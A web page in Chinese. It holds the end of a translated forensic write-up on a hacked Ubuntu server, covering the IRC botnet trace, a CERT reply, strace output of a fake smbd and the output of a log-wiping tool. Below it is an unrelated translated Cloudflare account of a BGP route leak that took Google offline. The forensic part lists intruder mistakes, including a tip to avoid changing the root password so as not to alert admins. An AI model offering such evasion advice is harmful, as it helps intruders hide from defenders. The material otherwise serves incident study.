17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at] 17:45 [powertech] -!- ircname : LaPi@IRCNet 17:45 [powertech] -!- channels : /#relaks /#ping @/#seks /#aik @/#ogame.pl /#pingwinaria /#hattrick /#trade /#admin @/#!sh 17:45 [powertech] -!- server : /*.at [\o\ \o/ /o/]

这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:

$ dig +short campus19.panorama.sth.ac.at 193.170.51.84

根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了: From: Alexander Talos via RT To: larstra@ifi.uio.no Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84) [ACOnet CERT /#38603] Date: Fri, 18 May 2007 18:22:43 +0200 (CEST) Reply-To: cert@aco.net -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hej! On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote: > I have been tracking down cracker which connected from > campus19.panorama.sth.ac.at (193.170.51.84). The user, which Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all behind a NAT gateway - it will be very hard to get hold of the miscreant. This incident will, in the long run, definitely help me getting rid of the NAT boxes in setups like that, but right now, we will have to make do with what we have. > Please investigate the host in question. Perhaps is this a > compromised host on your network acting as a jumpstation for Sure, and even in a NATed environment, this is still possible. Btw, you did a great job in analysing the compromised machine! I'll let you know when I have either further questions or any interesting results. Cheers, Alexander Talos - -- IT-Security, Universitaet Wien, ACOnet CERT T: +43-1-4277-14351 M: +43-664-60277-14351

看起来我不够幸运.

接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口.

连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:

root@server1:/var/.x/psotnic/# strace -f ./smbd conf1 &> /root/dump.strace

跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:

[pid 7537] write(2, "sh: ", 4) = 4 [pid 7537] write(2, "BitchX: not found", 17) = 17 [pid 7537] write(2, "n", 1) = 1 [pid 7537] close(2) = 0

下面的截图是tcpdump抓到流量的一部分:

这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡.

入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志: root@server1:/usr/lib/libsh/# ./hide + Linux Hider v2.0 by mave enhanced by me! [+] [Shkupi Logcleaner] Removing + from the logs........ . [+] /var/log/messages ... [done] [+] /var/run/utmp ... [done] [+] /var/log/lastlog ... [done] [+] /var/log/wtmp ... [done] / m i s s i o n a c c o m p l i s h e d / p.h.e.e.r S.H.c.r.e.w

那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?

可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:

1, 忘记清除”.bash_history”文件

2, “/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.

3, 修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.

4, irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.

5, 入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.

当然还有几个遗留的问题:

1,”ssh ftp@62.101.251.166″ 这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?

$ dig +short -x 62.101.251.166 cA6FB653E.dhcp.bluecom.no.

2,跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?

3,最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是Ubuntu 6.06 LTS,打了最新的补丁.可能入侵的途径:

/猜测root密码,不幸的是这个密码是强密码/

/未知的exploit/

/某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码./

原文地址 9 1 您已评价!

如文中未特别声明转载请注明出自: FreebuF.COM

相关文章

从谷歌宕机事件认识互联网工作原理

Posted on

从谷歌宕机事件认识互联网工作原理

摘要:谷歌服务器经历了短暂的宕机事件,持续大概27分钟,对部分地区的互联网用户造成了影响。此次事件的原因深究起来需要进入互联网络那深邃的、黑暗的角落。 译者注:本文中提到CloudFlare是一家总部位于美国旧金山的内容分发网络(CDN)服务公司,由Project Honey Pot项目的三位前开发人员成立于2009年。2011年10月被华尔街日报评为最具创新精神的网络科技公司。

今天,谷歌服务器经历了短暂的宕机事件,持续大概27分钟,对部分地区的互联网用户造成了影响。此次事件的原因深究起来需要进入互联网络那深邃的、黑暗的角落。我是CloudFlare公司的一名网络工程师,在帮助谷歌从此次宕机中恢复回来提供了一臂之力。下面就是事情发生的过程。

大约在太平洋标准时间2012年11月5号下午6:24分/时间标准时间2012年11月6号凌晨2:24分,CloudFlare的员工发现谷歌的服务中断了。我们使用谷歌的电子邮件等服务,所以,当它的服务不正常时,办公室的人会很快发现。我在网络技术小组工作,因此我立刻接上网络查看是什么情况——是局部区域问题还是全球问题。

问题排查

我很快就意识到,所有谷歌的服务我们都不能连接上——甚至包括连接 8.8.8.8,谷歌的公共DNS服务器——于是,我从追查DNS开始。

  1. dig +trace google.com

下面是我在探测Google.com的域名服务器时得到的回复:

google.com. 172800 IN NS ns2.google.com.

google.com. 172800 IN NS ns1.google.com.

google.com. 172800 IN NS ns3.google.com.

google.com. 172800 IN NS ns4.google.com.

;; Received 164 bytes from 192.12.94.30/#53(e.gtld-servers.net) in 152 ms

;; connection timed out; no servers could be reached

无法探测到任何服务器的结果证明确实有什么地方出了问题。尤其是,这意味着从我们的办公室将连接不到任何的谷歌DNS服务器。

我开始网络层查找问题,看看是否是在这个通信层出了问题。 PING 216.239.32.10 (216.239.32.10): 56 data bytes

Request timeout for icmp_seq 0

92 bytes from 1-1-15.edge2-eqx-sin.moratelindo.co.id (202.43.176.217): Time to live exceeded

这里出现了奇怪的信息。通常,我们不应该在谷歌的路由信息中看到一个印度尼西亚的网络服务提供商(Moratel)的名字。我立即进入一个CloudFlare的路由器中查看发生了什么事。与此同时,Twitter上世界其它地方的报告显示了我们并不是唯一遇到问题的地方。

互联网路由

为了理解是出了什么问题,你需要知道一些互联网是如何工作的基础知识。整个互联网是由很多的网络组成,这些网络被称为是“自治系统(AS)”。每个网络都有一个唯一的数字来标志自己,被称为AS号。CloudFlare的AS号是13335,谷歌的AS号是15169。各个网络通过一种叫做边缘网关协议(BGP)的技术互相连接。边缘网关协议被称为是互联网的粘合剂——由它来声明哪个IP地址属于哪个网络,由它来建立从某个自治网络到另外一个自治网络的路由。一个互联网“路由”跟这个词的表意完全一样:由一个自治网络里的IP地址到另外一个自治网络里的另一个IP地址的路径。

边缘网关协议是基于一个相互信任的体制。各个网络基于信任的原则告诉其它网络哪个IP地址属于哪个网络。当你发送一个数据包,或发送一个穿越网络的请求,你的网络服务提供商会联系它的上游提供商或对等提供商,询问它们从你的网络服务提供商到网络目的地,哪条路线最近。

不幸的是,如果当一个网络发出声明说某个IP地址或某个网络在它的内部,而事实不是这样,如果它的上游网络或对等网络信任了它,那么,这个数据包最终将会迷路丢失。这里发生的就是这个问题。

我查看了边缘网关协议传递的谷歌IP的路由地址,路由指向了Moratel (23947),一个印度尼西亚的网络服务提供商。我们的办公室在加利福尼亚,离谷歌的数据中心并不远,数据包绝不应该经过印度尼西亚。很有可能是,Moratel声明了一个错误的网络路由。

当时我看到的边缘网关协议发来的路由是: p>tom@edge01.sfo01> show route 216.239.34.10

inet.0: 422168 destinations, 422168 routes (422154 active, 0 holddown, 14 hidden)

  • = Active Route, - = Last Active, /* = Both

216.239.34.0/24 /*[BGP/170] 00:15:47, MED 18, localpref 100

AS path: 4436 3491 23947 15169 I

to 69.22.153.1 via ge-1/0/9.0

我查看了其它路由,比如谷歌的公共DNS,它同样被劫持到了相同的(不正确的)路径:

inet.0: 422196 destinations, 422196 routes (422182 active, 0 holddown, 14 hidden)

  • = Active Route, - = Last Active, /* = Both

8.8.8.0/24 /*[BGP/170] 00:27:02, MED 18, localpref 100

AS path: 4436 3491 23947 15169 I

to 69.22.153.1 via ge-1/0/9.0

tom@edge01.sfo01> show route 8.8.8.8

路由泄漏

像这样的问题在行业内被认为是起源于“路由泄漏”,不是正常的,而是“泄漏”出来的路由。这种事情并不是没有先例。谷歌之前曾遭受过类似的宕机事件,当时推测是巴基斯坦为了禁止YouTube上的一个视频,巴基斯坦国家ISP删除了YouTube网站的路由信息。不幸的是,他们的这种做法被传递到了外部,巴基斯坦电信公司的上游提供商——电讯盈科(PCCW)信任了巴基斯坦电信公司的做法,把这种路由方式传递到了整个互联网。这个事件导致了YouTube网站大约2个小时不能访问。

胖手指 辛普森

今天发生的事情属于类似情况。在Moratel公司的某个人很可能是“胖手指”,输错了互联网路由。而电讯盈科,Moratel公司的上游提供商,信任了Moratel公司传递给他们的路由。很快,这错误的路由就传到了整个互联网。在边缘网关协议这种信任模式中,与其说这是恶意的行为,不如说这是误操作或失误。

修复

解决方案就是让Moratel公司停止声明错误的路由。作为一个网络工程师,尤其是像CloudFlare这样的大网络公司里工作的工程师,很大一部分工作就是和其它世界各地的网络工程师保持联络。当探明问题后,我联系到了Moratel公司的一位同事,告诉他发生了什么事。他大概在太平洋标准时间下午6:50分/世界标准时间凌晨2:50分修复了这个问题。3分钟后,路由恢复了正常,谷歌的服务重新可以工作了。

从网络传输图上观察,我估计全球整个互联网用户的3-5%收到了此次宕机事故的影响。重灾区是香港,因为那是电讯盈科的总部。如果你所处的地区在当时无法访问谷歌的服务,你现在应该知道是什么原因了。

构建更好的互联网

我说这些就是想让大家知道我们的互联网上如何在一个相互信任的机制下建立起来的。今天的事故说明,即使你是一个像谷歌这样的大公司,外部你无法掌控的因素也会影响到你的用户,让他们无法访问你,所以,一个网络技术小组是非常必要的,由他们来监控路由,管理你与世界的联系。CloudFlare公司每天的工作就是确保客户得到最佳的路由。我们照看互联网上的所有网站,确保他们的以最快传输速度提供服务。今天的事情只是我们工作内容的一个小片段。

译文出自:外刊IT评论

英文出自:Cloudflare